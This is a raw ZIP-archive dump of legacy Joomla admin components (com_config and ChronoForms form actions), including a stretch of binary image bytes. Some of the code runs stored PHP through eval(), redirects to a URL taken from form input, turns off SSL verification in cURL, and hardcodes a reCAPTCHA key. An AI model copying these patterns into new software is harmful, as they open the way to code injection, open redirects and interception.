$config->toString('PHP', array('class' => 'JConfig', 'closingtag' => false)); if (!JFile::write($file, $configuration)) { $this->setError(JText::_('COM_CONFIG_ERROR_WRITE_FAILED')); return false; } // Attempt to make the file unwriteable if using FTP. if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0444')) { JError::raiseNotice('SOME_ERROR_CODE', JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE')); } return true; } } PKs>\)com_config/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\V"com_config/models/forms/index.htmlnuW+A PKs>\)!com_config/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\#JJ'com_config/models/forms/application.xmlnuW+A
      PKs>\Vcom_config/models/index.htmlnuW+A PKs>\/v&com_config/controllers/application.phpnuW+AregisterTask('apply', 'save'); } /** * Method to save the configuration. * * @return bool True on success, false on failure. * @since 1.5 */ public function save() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Application'); $form = $model->getForm(); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Validate the posted data. $return = $model->validate($form, $data); // Check for validation errors. if ($return === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_config&view=application', false)); return false; } // Attempt to save the configuration. $data = $return; $return = $model->save($data); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $message = JText::sprintf('JERROR_SAVE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_config&view=application', $message, 'error'); return false; } // Set the success message. $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); // Set the redirect based on the task. switch ($this->getTask()) { case 'apply': $this->setRedirect('index.php?option=com_config', $message); break; case 'save': default: $this->setRedirect('index.php', $message); break; } return true; } /** * Cancel operation */ function cancel() { // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin', 'com_config')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); // Clean the session data. $app = JFactory::getApplication(); $app->setUserState('com_config.config.global.data', null); $this->setRedirect('index.php'); } function refreshHelp() { jimport('joomla.filesystem.file'); // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); if (($data = file_get_contents('http://help.joomla.org/helpsites.xml')) === false) { $this->setRedirect('index.php?option=com_config', JText::_('COM_CONFIG_ERROR_HELPREFRESH_FETCH'), 'error'); } elseif (!JFile::write(JPATH_BASE . '/help/helpsites.xml', $data)) { $this->setRedirect('index.php?option=com_config', JText::_('COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE'), 'error'); } else { $this->setRedirect('index.php?option=com_config', JText::_('COM_CONFIG_HELPREFRESH_SUCCESS')); } } /** * Method to remove the root property from the configuration. * * @return bool True on success, false on failure. * @since 1.5 */ public function removeroot() { // Check for request forgeries. JSession::checkToken('get') or die('Invalid Token'); // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Initialise model. $model = $this->getModel('Application'); // Attempt to save the configuration and remove root. $return = $model->removeroot(); // Check the return value. if ($return === false) { // Save failed, go back to the screen and display a notice. $this->setMessage(JText::sprintf('JERROR_SAVE_FAILED', $model->getError()), 'error'); $this->setRedirect('index.php'); return false; } // Set the success message. $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); // Set the redirect based on the task. $this->setRedirect('index.php', $message); return true; } } PKs>\) com_config/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\0S  $com_config/controllers/component.phpnuW+AregisterTask('apply', 'save'); } /** * Save the configuration */ function save() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Component'); $form = $model->getForm(); $data = JRequest::getVar('jform', array(), 'post', 'array'); $id = JRequest::getInt('id'); $option = JRequest::getCmd('component'); // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin', $option)) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Validate the posted data. $return = $model->validate($form, $data); // Check for validation errors. if ($return === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_config&view=component&component='.$option.'&tmpl=component', false)); return false; } // Attempt to save the configuration. $data = array( 'params' => $return, 'id' => $id, 'option' => $option ); $return = $model->save($data); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $message = JText::sprintf('JERROR_SAVE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_config&view=component&component='.$option.'&tmpl=component', $message, 'error'); return false; } // Set the redirect based on the task. switch ($this->getTask()) { case 'apply': $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); $this->setRedirect('index.php?option=com_config&view=component&component='.$option.'&tmpl=component&refresh=1', $message); break; case 'save': default: $this->setRedirect('index.php?option=com_config&view=close&tmpl=component'); break; } return true; } } PKs>\V!com_config/controllers/index.htmlnuW+A PKs>\`TT)com_chronoforms/uninstall.chronoforms.sqlnuW+ADROP TABLE IF EXISTS `#__chronoforms`; DROP TABLE IF EXISTS `#__chronoform_actions`;PKs>\!com_chronoforms/config.xmlnuW+A PKs>\_~'com_chronoforms/install.chronoforms.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__chronoforms` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `form_type` tinyint(1) NOT NULL, `content` longtext NOT NULL, `wizardcode` longtext, `events_actions_map` longtext, `params` longtext NOT NULL, `published` tinyint(1) NOT NULL DEFAULT '1', `app` varchar(100) NOT NULL DEFAULT '', PRIMARY KEY (`id`) ) CHARACTER SET `utf8`; CREATE TABLE IF NOT EXISTS `#__chronoform_actions` ( `id` int(11) NOT NULL AUTO_INCREMENT, `chronoform_id` int(11) NOT NULL, `type` varchar(255) NOT NULL, `enabled` tinyint(1) NOT NULL, `params` longtext NOT NULL, `order` int(11) NOT NULL, `content1` longtext NOT NULL, PRIMARY KEY (`id`) ) CHARACTER SET `utf8`;PKs>\v %com_chronoforms/chronoforms.class.phpnuW+APKs>\|>>com_chronoforms/CF.pngnuW+APNG  IHDR N>gAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڬSK˩Q~$2KJ2B P~_!c@F MH (\:&}_":{|UkջgWEDXoC,+& vL&BDn7l[8ob`@pXX,xnKjEPb\. Ӊj:TdZZ"'bA,;KRZri\R\|NǃxJ&d6t:o0͘ fUcfQTB@hHZ%8/¯f$Rդn`0nC~FT >맚f)Ud2W, Jx|>O~BjZ%F@W*D Cr\\!com_chronoforms/tables/index.htmlnuW+APKs>\PKs>\) com_chronoforms/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\Z_&com_chronoforms/tables/chronoforms.phpnuW+APKs>\~cc<com_chronoforms/form_actions/redirect_user/redirect_user.ctpnuW+A
      ReDirect User
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'show_thanks_message_config_{n}'); echo $PluginTabsHelper->tabStart('settings'); echo $HtmlHelper->input('action_redirect_user_{n}_target_url_config', array( 'type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => "The target URL to send the user to." )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('help'); ?>
      • Enter a URL here if you want to Redirect the User after the form is submitted and processed.
      • To set parameters in the Redirect URL, use the Configure Redirect action before this action and leave the URL here empty.
      • This should be the last action in the OnSubmit Event.
      tabEnd(); ?>
      PKs>\E``<com_chronoforms/form_actions/redirect_user/redirect_user.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'ReDirect User', 'tooltip' => 'Will redirect the user to another url.'); function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if ( isset($form->data['redirect_url']) && $form->data['redirect_url'] ) { $redirect_url = $form->data['redirect_url']; } else { $redirect_url = $params->get('target_url'); } if ( !$redirect_url ) { $form->debug['redirect_user'][] = 'Error: No Redirect URL found'; return false; } $form->debug['redirect_user'][] = 'redirect_user_target_url: '.$params->get('target_url'); //$mainframe->enqueuemessage('$form: '.print_r($form, true).'
      '); //if ( filter_var($redirect_url, FILTER_VALIDATE_URL) ) { $debug = false; foreach ( $form->form_actions as $a ) { if ( $a->type == 'debugger' && (bool)$a->enabled === true ) { $debug = true; break; } } if ( $debug ) { $form->debug['redirect_user'][] = "Redirect URL (click to continue):
      {$redirect_url}"; } else { $mainframe->redirect($redirect_url); } /*} else { $form->debug['redirect_user'][] = 'Error: Invalid URL'; }*/ } function load($clear) { if ( $clear ) { $action_params = array( 'target_url' => 'http://' ); } return array('action_params' => $action_params); } } ?>PKs>\)4com_chronoforms/form_actions/redirect_user/.htaccessnuW+A Order allow,deny Deny from all PKs>\5com_chronoforms/form_actions/redirect_user/index.htmlnuW+APKs>\)+com_chronoforms/form_actions/curl/.htaccessnuW+A Order allow,deny Deny from all PKs>\l*com_chronoforms/form_actions/curl/curl.ctpnuW+A
      Curl
      input('action_curl_{n}_target_url_config', array('type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => "The target URL to send the data to.")); ?> input('action_curl_{n}_header_in_response_config', array('type' => 'select', 'label' => 'Header in response ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Include Header response from the gateway? default is No.")); ?> input('action_curl_{n}_content1_config', array('type' => 'textarea', 'label' => 'Params/Fields map', 'rows' => 15, 'cols' => 50, 'smalldesc' => 'Multi line format of the fields names:
      e.g:curl_param_name=form_field_name')); ?>
      PKs>\\cmm*com_chronoforms/form_actions/curl/curl.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'Curl', 'tooltip' => 'Submit form data to another URL using the CURL method.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if(function_exists('curl_init')){ $form->debug['curl'][] = "CURL OK : the CURL function was found on this server."; }else{ $form->debug['curl'][] = "CURL problem : the CURL function was not found on this server."; return; } if(!empty($actiondata->content1)){ $list = explode("\n", trim($actiondata->content1)); $curl_values = array(); foreach($list as $item){ $fields_data = explode("=", $item); $curl_values[$fields_data[0]] = $form->data[trim($fields_data[1])]; } } $query = JURI::buildQuery($curl_values); $form->debug['curl'][] = '$curl_values: '.print_r($query, true); $form->debug['curl'][] = 'curl_target_url: '.$params->get('target_url'); $ch = curl_init($params->get('target_url')); curl_setopt($ch, CURLOPT_HEADER, $params->get('header_in_response', 0));// set to 0 to eliminate header info from response curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// Returns response data instead of TRUE(1) curl_setopt($ch, CURLOPT_POSTFIELDS, $query);// use HTTP POST to send form data curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch);//execute post and get results curl_close($ch); //add the response in the form data array $form->data['curl'] = $response; } function load($clear){ if($clear){ $action_params = array( 'header_in_response' => 0, 'target_url' => 'http://', 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\ ,com_chronoforms/form_actions/curl/index.htmlnuW+A PKs>\$ JGcom_chronoforms/form_actions/multi_language/cfaction_multi_language.ctpnuW+Atranslate($form, $actiondata); ?>PKs>\gg>com_chronoforms/form_actions/multi_language/multi_language.ctpnuW+A
      Multi Language
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'multi_language_config_{n}'); ?> tabStart('settings'); ?> input('action_multi_language_{n}_lang_tag_config', array('type' => 'text', 'label' => "Language Tag", 'class' => 'small_input', 'smalldesc' => "The language tag, e.g: en-US OR en-GB OR de-DE")); ?> input('action_multi_language_{n}_content1_config', array('type' => 'textarea', 'label' => "Translation strings", 'label_over' => true, 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Srings to be translated with their translation in the language set above, multi line format, e.g: non_translated_string=translated_string.')); ?> input('action_multi_language_{n}_translate_output_config', array('type' => 'select', 'label' => "Translate output", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Should the form output be scanned for translatable strings ? this option should not be needed unless you have dynamic text generation in one of your form elements/actions.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter your language tag.
      • It's strongly advised that you use dummy unique language strings for those strings you are planning to translate, e.g: instead of using "Name" in your label, please use "NAME" or better "NAME_LABEL", this will make translations easier and more accurate.
      • Add your desired translation strings in multi line format.
      • This action should be placed the FIRST thing in any of your form events so that it's able to translate all strings in the actions and code.
      • Please pay attention that this action will do translations (text replacements) for ALL actions below it, this includes any action's content or configuration, for example, if its placed above the email action, it can change the TO address if it contains any string matches any of the translatable ones.

      tabEnd(); ?>
      PKs>\ 6com_chronoforms/form_actions/multi_language/index.htmlnuW+A PKs>\\ _1 1 >com_chronoforms/form_actions/multi_language/multi_language.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Multi Language', 'tooltip' => 'Add extra languages support to your form, drag one for every language you need supported, translates the data in the same Event its inside only.'); function run($form, $actiondata){ if(isset($form->form_actions) && !empty($form->form_actions)){ $params = new JParameter($actiondata->params); $lang = JFactory::getLanguage(); if($lang->getTag() == $params->get('lang_tag', '')){ $lang_strings = explode("\n", $actiondata->content1); usort($lang_strings, array('CfactionMultiLanguage', 'sortByLength')); foreach($lang_strings as $lang_string){ if(!empty($lang_string) && strpos($lang_string, "=") !== false){ $texts = explode("=", $lang_string, 2); $original = trim($texts[0]); $new = trim($texts[1]); //do replacements in all loaded actions foreach($form->form_actions as $k => $action){ if($action->type != 'multi_language'){ //do replacements in params $form->form_actions[$k]->params = str_replace($original, $new, $form->form_actions[$k]->params); //do replacements in content1 $form->form_actions[$k]->content1 = str_replace($original, $new, $form->form_actions[$k]->content1); } } //do replacements in main form code and params //do replacements in params $form->form_details->params = str_replace($original, $new, $form->form_details->params); //do replacements in content1 $form->form_details->content = str_replace($original, $new, $form->form_details->content); } } } } //print_r2($form->form_actions); } function sortByLength($a,$b){ return strlen($b)-strlen($a); } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'translate_output' => 0, 'lang_tag' => 'en-GB' ); } return array('action_params' => $action_params); } } ?>PKs>\B[cmmGcom_chronoforms/form_actions/multi_language/cfaction_multi_language.phpnuW+Aparams); if((bool)$params->get('translate_output', 0) === true){ if(isset($form->form_actions) && !empty($form->form_actions)){ $lang = JFactory::getLanguage(); if($lang->getTag() == $params->get('lang_tag', '')){ $lang_strings = explode("\n", $actiondata->content1); usort($lang_strings, array('CfactionMultiLanguage', 'sortByLength')); foreach($lang_strings as $lang_string){ if(!empty($lang_string) && strpos($lang_string, "=") !== false){ $texts = explode("=", $lang_string, 2); $original = trim($texts[0]); $new = trim($texts[1]); $form->form_output = str_replace($original, $new, $form->form_output); } } } } } } } ?>PKs>\)5com_chronoforms/form_actions/multi_language/.htaccessnuW+A Order allow,deny Deny from all PKs>\'0com_chronoforms/form_actions/load_js/load_js.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Load JS', 'tooltip' => 'Process and load custom JS code in the form page.'); function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'dynamic_file' => 0 ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PKs>\).com_chronoforms/form_actions/load_js/.htaccessnuW+A Order allow,deny Deny from all PKs>\ /com_chronoforms/form_actions/load_js/index.htmlnuW+A PKs>\7^0com_chronoforms/form_actions/load_js/load_js.ctpnuW+A
      Load JS
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_js_config_{n}'); ?> tabStart('settings'); ?> input('action_load_js_{n}_dynamic_file_config', array('type' => 'select', 'label' => 'Dynamic File', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the code inside a dynamic file instead of the page head, useful in few situations.')); ?> input('action_load_js_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'JavaScript code withOUT script tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • JavaScript code withOUT script tags.
      • You may use PHP code with php tags.
      • The dynamic files may be helpful if you want the page head source code to be cleaner, it should help with loading JS code in the correct order, because Joomla gives priority to files loading over header scripts loading.

      tabEnd(); ?>
      PKs>\.^79com_chronoforms/form_actions/load_js/cfaction_load_js.phpnuW+Aparams); if((bool)$params->get('dynamic_file', 0) == 1){ $this->loadDynamic($form, $actiondata); }else{ $this->loadScript($form, $actiondata); } } function loadScript($form = null, $actiondata = null){ $output = ''; $document = JFactory::getDocument(); ob_start(); eval('?>'.$actiondata->content1); $output .= ob_get_clean(); ob_start(); ?> // //]]> addScriptDeclaration($script); } function loadDynamic($form = null, $actiondata = null){ $document = JFactory::getDocument(); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); //eval teh code ob_start(); eval('?>'.$actiondata->content1); $output = ob_get_clean(); //encode and send it $code_encoded = $this->secure_serialize($output); $get_string = 'code='.$code_encoded; $full_url = $uri->root().'components/com_chronoforms/js/load_js.php?'.$get_string; //check the url length, IE has a 2083 limit if(strlen($full_url) < 2083){ $document->addScript($uri->root().'components/com_chronoforms/js/load_js.php?'.$get_string); }else{ $this->loadScript($form, $actiondata); } } function secure_serialize($data){ $mainframe = JFactory::getApplication(); $secret = $mainframe->getCfg('secret'); $sData = strtr(base64_encode(addslashes(gzcompress(serialize($data),9))), '+/=', '-_,'); return sha1($sData.$secret).$sData; } function secure_unserialize($data){ $mainframe = JFactory::getApplication(); $secret = $mainframe->getCfg('secret'); $v = substr($data, 0, 40); $sData = substr($data, 40); if($v != sha1($sData.$secret)){ die('Query altered!!'); } return unserialize(gzuncompress(stripslashes(base64_decode(strtr($sData, '-_,', '+/='))))); } } ?>PKs>\Yrr9com_chronoforms/form_actions/load_js/cfaction_load_js.ctpnuW+Aload($form, $actiondata); ?>PKs>\ 6com_chronoforms/form_actions/joomla_plugins/index.htmlnuW+A PKs>\7+YY>com_chronoforms/form_actions/joomla_plugins/joomla_plugins.phpnuW+A 'Joomla Plugins', 'tooltip' => 'Renders the Joomla content plugins inside your form contents.'); var $group = array('id' => 'joomla_functions', 'title' => 'Joomla Functions'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); } function load($clear){ if($clear){ $action_params = array( 'content1' => '', ); } return array('action_params' => $action_params); } } ?>PKs>\F ]Gcom_chronoforms/form_actions/joomla_plugins/cfaction_joomla_plugins.ctpnuW+Ashow($form, $actiondata); ?>PKs>\ˆXzzGcom_chronoforms/form_actions/joomla_plugins/cfaction_joomla_plugins.phpnuW+Aparams); $contentParams = $mainframe->getParams('com_content'); $dispatcher = JDispatcher::getInstance(); $type = 'content'; JPluginHelper::importPlugin($type); $jversion = new JVersion(); if($jversion->RELEASE > 1.5){ $context = ''; $rowPlg = new stdClass(); $rowPlg->text = $form->form_output; $results = $mainframe->triggerEvent('onContentPrepare', array($context, &$rowPlg, &$contentParams, 0)); $form->form_output = $rowPlg->text; }else{ $rowPlg = new stdClass(); $rowPlg->text = $form->form_output; $results = $mainframe->triggerEvent('onPrepareContent', array(&$rowPlg, &$contentParams, 0)); $form->form_output = $rowPlg->text; } } } ?>PKs>\)5com_chronoforms/form_actions/joomla_plugins/.htaccessnuW+A Order allow,deny Deny from all PKs>\nc>com_chronoforms/form_actions/joomla_plugins/joomla_plugins.ctpnuW+A
      Joomla Plugins
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'joomla_plugins_config_{n}'); ?> tabStart('settings'); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will run the Joomla plugins in the form "output" in the buffer.

      tabEnd(); ?>
      PKs>\d Ncom_chronoforms/form_actions/load_security_question/load_security_question.ctpnuW+A
      Load Security Question
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_security_question_config_{n}'); ?> tabStart('settings'); ?> input('action_load_security_question_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Enter the questions and answers here, any PHP code should include the PHP tags.')); ?> input('action_load_security_question_{n}_session_key_config', array('type' => 'select', 'label' => 'Enable Session Key', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add a unique session key for every form instance, this is helpful if more than one form or more than one instance of the same form may be loaded together.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use PHP code with php tags.
      • You may use a "Security Question" element or enter this string in your form code or using a custom element to show the question: {chrono_security_question}
      • the answer field should have the name "chrono_security_answer", again, you may simply use a "Security Question" element and that should add it for you.
      • Enter the questions in multi line forma, example:
        Question=Answer,Answer,Answer
        Question=Answer
        Question=Answer,Answer

      tabEnd(); ?>
      PKs>\w Wcom_chronoforms/form_actions/load_security_question/cfaction_load_security_question.phpnuW+APKs>\ >com_chronoforms/form_actions/load_security_question/index.htmlnuW+A PKs>\)=com_chronoforms/form_actions/load_security_question/.htaccessnuW+A Order allow,deny Deny from all PKs>\vDgNcom_chronoforms/form_actions/load_security_question/load_security_question.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $details = array('title' => 'Load Security Question', 'tooltip' => 'Display the security question, you need a "Security Question Input" as one of your form fields.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $uri = JFactory::getURI(); $params = new JParameter($actiondata->params); //extract questions $q_as = explode("\n", $actiondata->content1); $rand = rand(0, count($q_as) - 1); $choosen = explode("=", $q_as[$rand]); //add a session prefix, useful if more than 1 form is opened by the same user $session_key_field = ""; $answers = explode(",", trim($choosen[1])); foreach($answers as $k => $answer){ $answers[$k] = strtolower($answer); } if((bool)$params->get('session_key', 1) === true){ $session_key = $form->getSessionToken(); $session->set("chrono_security_answers_".$session_key, $answers, md5('chrono')); //$session_key_field = ''; }else{ $session->set("chrono_security_answers", $answers, md5('chrono')); $session_key_field = ""; } $form->form_details->content = str_replace('{chrono_security_question}', $session_key_field.trim($choosen[0]), $form->form_details->content); } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'session_key' => 1 ); } return array('action_params' => $action_params); } } ?>PKs>\n t  Zcom_chronoforms/form_actions/custom_serverside_validation/custom_serverside_validation.ctpnuW+A
      Custom Server Side Validation
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_serverside_validation_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_serverside_validation_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Returning "boolean" false will fail, anything else or no return at all will lead to success.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You should use PHP code with php tags.
      • Returning "boolean" false will fail, anything else or no return at all will lead to success.
      • Set fields errors by adding a new key => value entry to the $form->validation_errors array, where "key" is the "field name" and "value" is the "Error message", for example, if you want to set an error to the "email" field you should use this code
        $form->validation_errros['email'] = "Email error message is here.";.

      tabEnd(); ?>
      PKs>\)Ccom_chronoforms/form_actions/custom_serverside_validation/.htaccessnuW+A Order allow,deny Deny from all PKs>\ҋ=]Zcom_chronoforms/form_actions/custom_serverside_validation/custom_serverside_validation.phpnuW+A 0, 'fail' => 0); var $group = array('id' => '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Custom Server Side Validation', 'tooltip' => 'Run PHP code and switch the execution path based on the result.'); function run($form, $actiondata){ $code = $actiondata->content1; $return = eval('?>'.$code); if($return === false){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\ Dcom_chronoforms/form_actions/custom_serverside_validation/index.htmlnuW+A PKs>\ى@com_chronoforms/form_actions/check_recaptcha/check_recaptcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Recaptcha', 'tooltip' => 'Checks the submitted Recaptcha value.'); function run($form, $actiondata) { $params = new JParameter($actiondata->params); if(!defined('RECAPTCHA_VERIFY_SERVER')){ define('RECAPTCHA_VERIFY_SERVER', $params->get('verify_server')); } $resp = $this->recaptcha_check_answer( $params->get('private_key'), $_SERVER["REMOTE_ADDR"], JRequest::getVar("recaptcha_challenge_field"), JRequest::getVar("recaptcha_response_field") ); if ( !$resp->is_valid ) { $form->validation_errors['recaptcha'] = $params->get('error', "The reCAPTCHA wasn't entered correctly. Please try it again."); $form->debug[] = "( reCAPTCHA said: ".$resp->error." )"; $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } } /** * Calls an HTTP POST function to verify if the user's guess was correct * @param string $privkey * @param string $remoteip * @param string $challenge * @param string $response * @param array $extra_params an array of extra variables to post to the server * @return CFReCaptchaResponse */ function recaptcha_check_answer ($privkey, $remoteip, $challenge, $response, $extra_params = array()) { if ( $privkey == null || $privkey == '' ) { die ("To use reCAPTCHA you must get an API key from https://www.google.com/recaptcha/admin/create"); } if ( $remoteip == null || $remoteip == '' ) { die ("For security reasons, you must pass the remote ip to reCAPTCHA"); } //discard spam submissions if ( $challenge == null || strlen($challenge) == 0 || $response == null || strlen($response) == 0) { $recaptcha_response = new CFReCaptchaResponse(); $recaptcha_response->is_valid = false; $recaptcha_response->error = 'incorrect-captcha-sol'; return $recaptcha_response; } $response = $this->_recaptcha_http_post (RECAPTCHA_VERIFY_SERVER, "/recaptcha/api/verify", array ( 'privatekey' => $privkey, 'remoteip' => $remoteip, 'challenge' => $challenge, 'response' => $response ) + $extra_params ); $answers = explode ("\n", $response [1]); $recaptcha_response = new CFReCaptchaResponse(); if (trim ($answers [0]) == 'true') { $recaptcha_response->is_valid = true; } else { $recaptcha_response->is_valid = false; $recaptcha_response->error = $answers [1]; } return $recaptcha_response; } function _recaptcha_http_post($host, $path, $data, $port = 80) { $req = $this->_recaptcha_qsencode ($data); $http_request = "POST $path HTTP/1.0\r\n"; $http_request .= "Host: $host\r\n"; $http_request .= "Content-Type: application/x-www-form-urlencoded;\r\n"; $http_request .= "Content-Length: " . strlen($req) . "\r\n"; $http_request .= "User-Agent: reCAPTCHA/PHP\r\n"; $http_request .= "\r\n"; $http_request .= $req; $response = ''; if ( false == ( $fs = @fsockopen($host, $port, $errno, $errstr, 10) ) ) { die ("Could not open socket: $errno - $errstr"); ; } fwrite($fs, $http_request); while ( !feof($fs) ) { $response .= fgets($fs, 1160); // One TCP-IP packet } fclose($fs); $response = explode("\r\n\r\n", $response, 2); return $response; } /** * Encodes the given data into a query string format * @param $data - array of string elements to be encoded * @return string - encoded request */ function _recaptcha_qsencode ($data) { $req = ""; foreach ( $data as $key => $value ) $req .= $key . '=' . urlencode( stripslashes($value) ) . '&'; // Cut the last '&' $req=substr($req, 0, strlen($req) - 1); return $req; } function load($clear){ if($clear){ $action_params = array( 'private_key' => '6LfNoAUAAAAAABX7Dfw_9Pp4K4KVtKNCUHsIWG7O', 'verify_server' => 'www.google.com', 'error' => "The reCAPTCHA wasn't entered correctly. Please try it again." ); } return array('action_params' => $action_params); } } /** * A CFReCaptchaResponse is returned from recaptcha_check_answer() */ class CFReCaptchaResponse { var $is_valid; var $error; } ?>PKs>\ 7com_chronoforms/form_actions/check_recaptcha/index.htmlnuW+A PKs>\P@com_chronoforms/form_actions/check_recaptcha/check_recaptcha.ctpnuW+A
      Check ReCaptcha
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced'), 'cfaction_check_recaptcha_element_config_{n}'); ?> tabStart('settings'); ?> input('action_check_recaptcha_{n}_private_key_config', array('type' => 'text', 'label' => 'ReCaptcha private key', 'class' => 'medium_input', 'value' => '')); ?> input('action_check_recaptcha_{n}_error_config', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_check_recaptcha_{n}_verify_server_config', array('type' => 'text', 'label' => 'ReCaptcha verify server', 'class' => 'medium_input', 'value' => '')); ?> tabEnd(); ?>
